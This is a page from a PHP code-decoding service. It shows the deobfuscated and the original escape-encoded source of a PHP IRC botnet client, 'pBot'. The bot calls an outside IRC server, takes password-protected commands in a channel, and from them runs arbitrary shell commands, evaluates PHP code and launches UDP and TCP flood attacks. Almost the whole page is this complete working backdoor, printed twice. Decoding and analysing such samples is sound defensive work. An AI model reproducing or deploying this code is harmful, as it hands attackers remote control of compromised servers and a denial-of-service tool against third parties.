Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
goto AM3en; A1Nob: $bot->start(); goto oPcFT; JmPSV: $bot = new pBot(); goto A1Nob; AM3..
Decoded Output download
<?
goto AM3en; A1Nob: $bot->start(); goto oPcFT; JmPSV: $bot = new pBot(); goto A1Nob; AM3en: set_time_limit(0); goto vhLcN; kbcOq: class pBot { var $config = array("server" => "irc.evochat.id", "port" => 6667, "pass" => '', "prefix" => "RedTeam|", "maxrand" => 6, "chan" => "#aman", "key" => "nakals", "modes" => "+p", "password" => "rteam", "trigger" => ".", "hostauth" => "*"); var $users = array(); function start() { if (!($this->conn = fsockopen($this->config["server"], $this->config["port"], $e, $s, 30))) { $this->start(); } $ident = "RT"; $alph = range("a", "z"); for ($i = 0; $i < $this->config["maxrand"]; $i++) { $ident .= $alph[rand(0, 25)]; } if (strlen($this->config["pass"]) > 0) { $this->send("PASS " . $this->config["pass"]); } $this->send("USER {$ident} 127.0.0.1 localhost :{$ident}"); $this->set_nick(); $this->main(); } function main() { while (!feof($this->conn)) { $this->buf = trim(fgets($this->conn, 512)); $cmd = explode(" ", $this->buf); if (substr($this->buf, 0, 6) == "PING :") { $this->send("PONG :" . substr($this->buf, 6)); } if (isset($cmd[1]) && $cmd[1] == "001") { $this->send("MODE " . $this->nick . " " . $this->config["modes"]); $this->join($this->config["chan"], $this->config["key"]); } if (isset($cmd[1]) && $cmd[1] == "433") { $this->set_nick(); } if ($this->buf != $old_buf) { $mcmd = array(); $msg = substr(strstr($this->buf, " :"), 2); $msgcmd = explode(" ", $msg); $nick = explode("!", $cmd[0]); $vhost = explode("@", $nick[1]); $vhost = $vhost[1]; $nick = substr($nick[0], 1); $host = $cmd[0]; if ($msgcmd[0] == $this->nick) { for ($i = 0; $i < count($msgcmd); $i++) { $mcmd[$i] = $msgcmd[$i + 1]; } } else { for ($i = 0; $i < count($msgcmd); $i++) { $mcmd[$i] = $msgcmd[$i]; } } if (count($cmd) > 2) { switch ($cmd[1]) { case "QUIT": if ($this->is_logged_in($host)) { $this->log_out($host); } break; case "PART": if ($this->is_logged_in($host)) { $this->log_out($host); } break; case "PRIVMSG": if (!$this->is_logged_in($host) && ($vhost == $this->config["hostauth"] || $this->config["hostauth"] == "*")) { if (substr($mcmd[0], 0, 1) == ".") { switch (substr($mcmd[0], 1)) { case "user": if ($mcmd[1] == $this->config["password"]) { $this->privmsg($this->config["chan"], "[\x2Auth\x2]: {$nick} masukkk!"); $this->log_in($host); } else { $this->privmsg($this->config["chan"], "[\x2Auth\2]: salah brad! {$nick}"); } break; } } } elseif ($this->is_logged_in($host)) { if (substr($mcmd[0], 0, 1) == ".") { switch (substr($mcmd[0], 1)) { case "restart": $this->send("QUIT :relog"); fclose($this->conn); $this->start(); break; case "cmd": if (isset($mcmd[1])) { $command = substr(strstr($msg, $mcmd[0]), strlen($mcmd[0]) + 1); $this->privmsg($this->config["chan"], "[\2cmd\x2]: {$command}"); $pipe = popen($command, "r"); while (!feof($pipe)) { $pbuf = trim(fgets($pipe, 512)); if ($pbuf != NULL) { $this->privmsg($this->config["chan"], " : {$pbuf}"); } } pclose($pipe); } break; case "rndnick": $this->set_nick(); break; case "sur00t": $this->send(strstr($msg, $mcmd[1])); break; case "php": $eval = eval(substr(strstr($msg, $mcmd[1]), strlen($mcmd[1]))); break; case "exec": $command = substr(strstr($msg, $mcmd[0]), strlen($mcmd[0]) + 1); $exec = shell_exec($command); $ret = explode("\xa", $exec); $this->privmsg($this->config["chan"], "[\x2exec\2]: {$command}"); for ($i = 0; $i < count($ret); $i++) { if ($ret[$i] != NULL) { $this->privmsg($this->config["chan"], " : " . trim($ret[$i])); } } break; case "ud.server": if (count($mcmd) > 2) { $this->config["server"] = $mcmd[1]; $this->config["port"] = $mcmd[2]; if (isset($mcmcd[3])) { $this->config["pass"] = $mcmd[3]; $this->privmsg($this->config["chan"], "[\x2update\2]: ganti server
" . $mcmd[1] . ":" . $mcmd[2] . " Passwd: " . $mcmd[3]); } else { $this->privmsg($this->config["chan"], "[\2update\x2]: ganti server\xa
" . $mcmd[1] . ":" . $mcmd[2]); } } break; case "die": $this->send("QUIT :dimatikan si {$nick}"); fclose($this->conn); die; case "logout": $this->log_out($host); $this->privmsg($this->config["chan"], "[\x2auth\x2]: {$nick} dadaah"); break; case "udpflood": if (count($mcmd) > 3) { $this->udpflood($mcmd[1], $mcmd[2], $mcmd[3]); } break; case "tcpflood": if (count($mcmd) > 5) { $this->tcpflood($mcmd[1], $mcmd[2], $mcmd[3], $mcmd[4], $mcmd[5]); } break; } } } break; } } } $old_buf = $this->buf; } $this->start(); } function send($msg) { fwrite($this->conn, "{$msg}
\xa"); } function join($chan, $key = NULL) { $this->send("JOIN {$chan} {$key}"); } function privmsg($to, $msg) { $this->send("PRIVMSG {$to} :{$msg}"); } function is_logged_in($host) { if (isset($this->users[$host])) { return 1; } else { return 0; } } function log_in($host) { $this->users[$host] = true; } function log_out($host) { unset($this->users[$host]); } function set_nick() { if (isset($_SERVER["SERVER_SOFTWARE"])) { if (strstr(strtolower($_SERVER["SERVER_SOFTWARE"]), "apache")) { $this->nick = ''; } } $this->nick .= $this->config["prefix"]; for ($i = 0; $i < $this->config["maxrand"]; $i++) { $this->nick .= mt_rand(0, 9); } $this->send("NICK " . $this->nick); } function udpflood($host, $packetsize, $time) { $this->privmsg($this->config["chan"], "[\x2UdpStart\2]"); $packet = ''; for ($i = 0; $i < $packetsize; $i++) { $packet .= chr(mt_rand(1, 256)); } $timei = time(); $i = 0; while (time() - $timei < $time) { $fp = fsockopen("udp://" . $host, mt_rand(0, 6000), $e, $s, 5); fwrite($fp, $packet); fclose($fp); $i++; } $env = $i * $packetsize; $env = $env / 1048576; $vel = $env / $time; $vel = round($vel); $env = round($env); $this->privmsg($this->config["chan"], "[\x2UdpSelesai\x2]: {$env} MB
\xasent / Media: {$vel} MB/s "); } function tcpflood($host, $packets, $packetsize, $port, $delay) { $this->privmsg($this->config["chan"], "[\x2TcpStart\x2]"); $packet = ''; for ($i = 0; $i < $packetsize; $i++) { $packet .= chr(mt_rand(1, 256)); } for ($i = 0; $i < $packets; $i++) { if (!($fp = fsockopen("tcp://" . $host, $port, $e, $s, 5))) { $this->privmsg($this->config["chan"], "[\x2Tcp\2]: Error: <{$e}>"); return 0; } else { fwrite($fp, $packet); fclose($fp); } sleep($delay); } $this->privmsg($this->config["chan"], "[\2TcpSelesai\x2]: Config -\xa \xa{$packets} paket ke {$host}:{$port}."); } } goto JmPSV; vhLcN: error_reporting(0); goto kbcOq; oPcFT: ?>
Did this file decode correctly?
Original Code
goto AM3en; A1Nob: $bot->start(); goto oPcFT; JmPSV: $bot = new pBot(); goto A1Nob; AM3en: set_time_limit(0); goto vhLcN; kbcOq: class pBot { var $config = array("\163\145\162\166\x65\162" => "\151\x72\143\x2e\x65\x76\157\143\x68\141\x74\x2e\151\144", "\160\x6f\162\x74" => 6667, "\160\x61\163\x73" => '', "\x70\162\145\146\151\x78" => "\x52\145\x64\x54\145\141\155\x7c", "\x6d\141\x78\x72\x61\156\144" => 6, "\x63\150\141\156" => "\x23\x61\155\x61\156", "\153\145\x79" => "\156\141\x6b\141\x6c\x73", "\155\x6f\144\145\163" => "\x2b\x70", "\160\141\x73\x73\167\x6f\x72\144" => "\162\x74\x65\141\x6d", "\x74\x72\x69\147\147\145\x72" => "\56", "\150\157\163\x74\x61\x75\x74\150" => "\x2a"); var $users = array(); function start() { if (!($this->conn = fsockopen($this->config["\163\145\x72\x76\145\x72"], $this->config["\160\157\162\164"], $e, $s, 30))) { $this->start(); } $ident = "\122\124"; $alph = range("\x61", "\172"); for ($i = 0; $i < $this->config["\155\x61\170\x72\x61\x6e\144"]; $i++) { $ident .= $alph[rand(0, 25)]; } if (strlen($this->config["\x70\141\163\163"]) > 0) { $this->send("\120\x41\123\x53\x20" . $this->config["\160\x61\163\x73"]); } $this->send("\125\123\105\x52\40{$ident}\x20\61\x32\x37\56\x30\56\x30\56\61\x20\x6c\x6f\143\x61\154\150\157\x73\x74\40\72{$ident}"); $this->set_nick(); $this->main(); } function main() { while (!feof($this->conn)) { $this->buf = trim(fgets($this->conn, 512)); $cmd = explode("\x20", $this->buf); if (substr($this->buf, 0, 6) == "\120\111\x4e\107\40\72") { $this->send("\x50\x4f\116\107\x20\72" . substr($this->buf, 6)); } if (isset($cmd[1]) && $cmd[1] == "\60\x30\61") { $this->send("\x4d\117\104\x45\x20" . $this->nick . "\40" . $this->config["\155\157\144\x65\163"]); $this->join($this->config["\x63\150\x61\156"], $this->config["\x6b\x65\x79"]); } if (isset($cmd[1]) && $cmd[1] == "\64\x33\x33") { $this->set_nick(); } if ($this->buf != $old_buf) { $mcmd = array(); $msg = substr(strstr($this->buf, "\x20\72"), 2); $msgcmd = explode("\x20", $msg); $nick = explode("\41", $cmd[0]); $vhost = explode("\x40", $nick[1]); $vhost = $vhost[1]; $nick = substr($nick[0], 1); $host = $cmd[0]; if ($msgcmd[0] == $this->nick) { for ($i = 0; $i < count($msgcmd); $i++) { $mcmd[$i] = $msgcmd[$i + 1]; } } else { for ($i = 0; $i < count($msgcmd); $i++) { $mcmd[$i] = $msgcmd[$i]; } } if (count($cmd) > 2) { switch ($cmd[1]) { case "\x51\x55\111\124": if ($this->is_logged_in($host)) { $this->log_out($host); } break; case "\120\x41\122\124": if ($this->is_logged_in($host)) { $this->log_out($host); } break; case "\120\x52\x49\126\x4d\x53\x47": if (!$this->is_logged_in($host) && ($vhost == $this->config["\150\157\x73\164\x61\165\164\x68"] || $this->config["\x68\157\x73\164\x61\x75\x74\x68"] == "\52")) { if (substr($mcmd[0], 0, 1) == "\x2e") { switch (substr($mcmd[0], 1)) { case "\165\x73\x65\162": if ($mcmd[1] == $this->config["\160\x61\x73\163\x77\x6f\x72\144"]) { $this->privmsg($this->config["\143\150\141\x6e"], "\133\x2\101\x75\x74\x68\x2\x5d\72\40{$nick}\x20\x6d\141\163\x75\x6b\x6b\x6b\41"); $this->log_in($host); } else { $this->privmsg($this->config["\143\150\141\x6e"], "\x5b\x2\x41\165\164\x68\2\x5d\72\40\x73\141\x6c\141\150\x20\x62\162\x61\x64\41\x20{$nick}"); } break; } } } elseif ($this->is_logged_in($host)) { if (substr($mcmd[0], 0, 1) == "\56") { switch (substr($mcmd[0], 1)) { case "\x72\x65\163\164\x61\x72\164": $this->send("\121\125\x49\x54\x20\x3a\162\145\154\x6f\147"); fclose($this->conn); $this->start(); break; case "\x63\155\x64": if (isset($mcmd[1])) { $command = substr(strstr($msg, $mcmd[0]), strlen($mcmd[0]) + 1); $this->privmsg($this->config["\143\x68\x61\x6e"], "\x5b\2\x63\155\x64\x2\x5d\x3a\40{$command}"); $pipe = popen($command, "\162"); while (!feof($pipe)) { $pbuf = trim(fgets($pipe, 512)); if ($pbuf != NULL) { $this->privmsg($this->config["\x63\150\x61\156"], "\40\x3a\40{$pbuf}"); } } pclose($pipe); } break; case "\162\x6e\x64\x6e\151\x63\x6b": $this->set_nick(); break; case "\163\x75\x72\x30\60\164": $this->send(strstr($msg, $mcmd[1])); break; case "\160\x68\160": $eval = eval(substr(strstr($msg, $mcmd[1]), strlen($mcmd[1]))); break; case "\145\x78\145\143": $command = substr(strstr($msg, $mcmd[0]), strlen($mcmd[0]) + 1); $exec = shell_exec($command); $ret = explode("\xa", $exec); $this->privmsg($this->config["\143\150\141\x6e"], "\x5b\x2\x65\170\145\x63\2\135\72\40{$command}"); for ($i = 0; $i < count($ret); $i++) { if ($ret[$i] != NULL) { $this->privmsg($this->config["\143\150\141\x6e"], "\x20\72\x20" . trim($ret[$i])); } } break; case "\x75\x64\56\163\145\162\x76\x65\x72": if (count($mcmd) > 2) { $this->config["\163\x65\x72\166\145\x72"] = $mcmd[1]; $this->config["\160\157\x72\x74"] = $mcmd[2]; if (isset($mcmcd[3])) { $this->config["\160\x61\x73\163"] = $mcmd[3]; $this->privmsg($this->config["\143\x68\141\x6e"], "\133\x2\x75\x70\144\x61\164\145\2\135\72\40\x67\141\156\x74\151\40\163\x65\x72\x76\145\162\12\40\12" . $mcmd[1] . "\x3a" . $mcmd[2] . "\x20\x50\x61\163\x73\x77\x64\72\40" . $mcmd[3]); } else { $this->privmsg($this->config["\143\150\x61\x6e"], "\133\2\165\x70\144\x61\x74\145\x2\135\72\40\x67\x61\x6e\164\x69\40\163\x65\162\x76\145\x72\xa\40\12" . $mcmd[1] . "\72" . $mcmd[2]); } } break; case "\x64\x69\x65": $this->send("\121\125\x49\x54\40\72\144\151\x6d\x61\x74\x69\x6b\141\x6e\x20\x73\151\x20{$nick}"); fclose($this->conn); die; case "\x6c\157\x67\x6f\x75\164": $this->log_out($host); $this->privmsg($this->config["\x63\x68\x61\x6e"], "\x5b\x2\141\x75\164\150\x2\135\72\40{$nick}\40\x64\x61\x64\x61\141\150"); break; case "\165\x64\160\x66\x6c\x6f\x6f\x64": if (count($mcmd) > 3) { $this->udpflood($mcmd[1], $mcmd[2], $mcmd[3]); } break; case "\164\x63\x70\146\x6c\x6f\157\x64": if (count($mcmd) > 5) { $this->tcpflood($mcmd[1], $mcmd[2], $mcmd[3], $mcmd[4], $mcmd[5]); } break; } } } break; } } } $old_buf = $this->buf; } $this->start(); } function send($msg) { fwrite($this->conn, "{$msg}\15\xa"); } function join($chan, $key = NULL) { $this->send("\112\x4f\x49\x4e\40{$chan}\x20{$key}"); } function privmsg($to, $msg) { $this->send("\120\122\x49\126\115\123\107\40{$to}\40\x3a{$msg}"); } function is_logged_in($host) { if (isset($this->users[$host])) { return 1; } else { return 0; } } function log_in($host) { $this->users[$host] = true; } function log_out($host) { unset($this->users[$host]); } function set_nick() { if (isset($_SERVER["\x53\105\x52\126\105\122\x5f\123\117\x46\124\127\101\122\x45"])) { if (strstr(strtolower($_SERVER["\123\x45\x52\x56\x45\122\137\123\x4f\x46\124\127\x41\122\x45"]), "\141\x70\x61\143\150\x65")) { $this->nick = ''; } } $this->nick .= $this->config["\160\x72\x65\x66\x69\170"]; for ($i = 0; $i < $this->config["\x6d\141\170\162\141\x6e\144"]; $i++) { $this->nick .= mt_rand(0, 9); } $this->send("\x4e\x49\103\113\40" . $this->nick); } function udpflood($host, $packetsize, $time) { $this->privmsg($this->config["\x63\150\x61\156"], "\x5b\x2\x55\x64\x70\x53\164\141\x72\164\2\135"); $packet = ''; for ($i = 0; $i < $packetsize; $i++) { $packet .= chr(mt_rand(1, 256)); } $timei = time(); $i = 0; while (time() - $timei < $time) { $fp = fsockopen("\165\x64\160\x3a\57\x2f" . $host, mt_rand(0, 6000), $e, $s, 5); fwrite($fp, $packet); fclose($fp); $i++; } $env = $i * $packetsize; $env = $env / 1048576; $vel = $env / $time; $vel = round($vel); $env = round($env); $this->privmsg($this->config["\x63\x68\x61\x6e"], "\x5b\x2\125\144\160\x53\x65\154\x65\x73\x61\x69\x2\x5d\72\40{$env}\40\115\102\12\x20\xa\x73\145\x6e\164\x20\57\40\115\145\144\x69\x61\x3a\40{$vel}\40\x4d\102\57\163\x20"); } function tcpflood($host, $packets, $packetsize, $port, $delay) { $this->privmsg($this->config["\143\150\141\156"], "\x5b\x2\x54\143\x70\x53\x74\141\162\x74\x2\x5d"); $packet = ''; for ($i = 0; $i < $packetsize; $i++) { $packet .= chr(mt_rand(1, 256)); } for ($i = 0; $i < $packets; $i++) { if (!($fp = fsockopen("\x74\x63\160\x3a\57\x2f" . $host, $port, $e, $s, 5))) { $this->privmsg($this->config["\x63\150\141\156"], "\133\x2\124\x63\160\2\135\72\40\x45\x72\162\x6f\162\72\x20\x3c{$e}\x3e"); return 0; } else { fwrite($fp, $packet); fclose($fp); } sleep($delay); } $this->privmsg($this->config["\x63\x68\x61\x6e"], "\x5b\2\124\143\x70\x53\145\x6c\145\163\141\x69\x2\x5d\72\x20\103\157\x6e\146\x69\147\40\x2d\xa\40\xa{$packets}\40\x70\x61\153\x65\x74\40\x6b\x65\40{$host}\72{$port}\56"); } } goto JmPSV; vhLcN: error_reporting(0); goto kbcOq; oPcFT:
Function Calls
None |
Stats
MD5 | 95bdeb87c864595f673cc3dc5e5e7e81 |
Eval Count | 0 |
Decode Time | 38 ms |